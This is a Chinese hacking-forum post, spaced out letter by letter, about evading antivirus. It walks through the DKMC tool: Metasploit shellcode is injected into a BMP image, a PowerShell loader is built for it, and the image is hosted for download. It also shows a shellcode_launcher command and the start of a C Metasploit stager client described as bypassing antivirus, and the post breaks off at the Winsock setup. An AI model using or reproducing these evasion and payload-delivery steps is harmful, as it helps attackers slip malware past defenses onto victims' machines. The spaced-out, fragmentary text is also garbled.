② s h e l l c o d e _ l a u n c h e r 执 行 产 生 e x e 文 件 六 、 六 、 D K M C 免 杀 免 杀 生 成 步 骤 与 原 理 七 、 思 维 导 图 七 、 思 维 导 图 s h e l l c o d e _ l a u n c h e r . e x e   - i   s h e l l c o d e . r a w # 1 [ * ]   ( g e n )     将 m s f 的 s h e l l c o d e 注 入 到 一 个 B M P 图 像 [ * ]   ( w e b )     启 动 w e b 服 务 用 来 分 发 B M P 图 像 [ * ]   ( p s )     生 成 p s 的 p a y l o a d [ * ]   ( s c )     将 m s f 生 成 的 r a w 文 件 转 为 s h e l l c o d e [ * ]   ( e x i t )     退 出 先 利 用 m s f 生 成 r a w 文 件 利 用 s c 讲 r a w 文 件 转 换 为 s h e l l c o d e 利 用 g e n 将 上 一 步 的 s h e l l c o d e 注 入 到 一 个 B M P 图 像 利 用 p s 生 成 基 于 p o w e r s h e l l 的 B M P 文 件 的 p a y l o a d 用 w e b 提 供 的 简 单 w e b 服 务 进 行 分 发 B M P 文 件 h t t p s : / / m p . w e i x i n . q q . c o m / s / U Z q O B Q K E M c X t F 5 Z U 7 E 5 5 F g 详 细 参 考 教 程 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 2 2 7 4 6 3 . h t m l h t t p s : / / u k n o w s e c . c n / p o s t s / n o t e s / s h e l l c o d e % E 5 % 8 A % A 0 % E 8 % B D % B D % E 6 % 8 0 % B B % E 7 % B B % 9 3 . h t m l
m e t a 6 4 位 过 杀 软 过 3 2 位 / *   *   A   C - b a s e d   s t a g e r   c l i e n t   c o m p a t   w i t h   t h e   M e t a s p l o i t   F r a m e w o r k   *         b a s e d   o n   a   d i s c u s s i o n   o n   t h e   M e t a s p l o i t   F r a m e w o r k   m a i l i n g   l i s t   *   *   @ 作 者   R a p h a e l   M u d g e   ( r a f f i @ s t r a t e g i c c y b e r . c o m )   *   @ l i c e n s e   B S D   L i c e n s e .   *   *   R e l e v a n t   m e s s a g e s :   *   *   h t t p : / / m a i l . m e t a s p l o i t . c o m / p i p e r m a i l / f r a m e w o r k / 2 0 1 2 - 9 月 / 0 0 8 6 6 0 . h t m l   *   *   h t t p : / / m a i l . m e t a s p l o i t . c o m / p i p e r m a i l / f r a m e w o r k / 2 0 1 2 - 9 月 / 0 0 8 6 6 4 . h t m l   * / # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < w i n s o c k 2 . h > / *   i n i t   w i n s o c k   * / v o i d   w i n s o c k _ i n i t ( )   {     W S A D A T A     w s a D a t a ;     W O R D           w V e r s i o n R e q u e s t e d ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理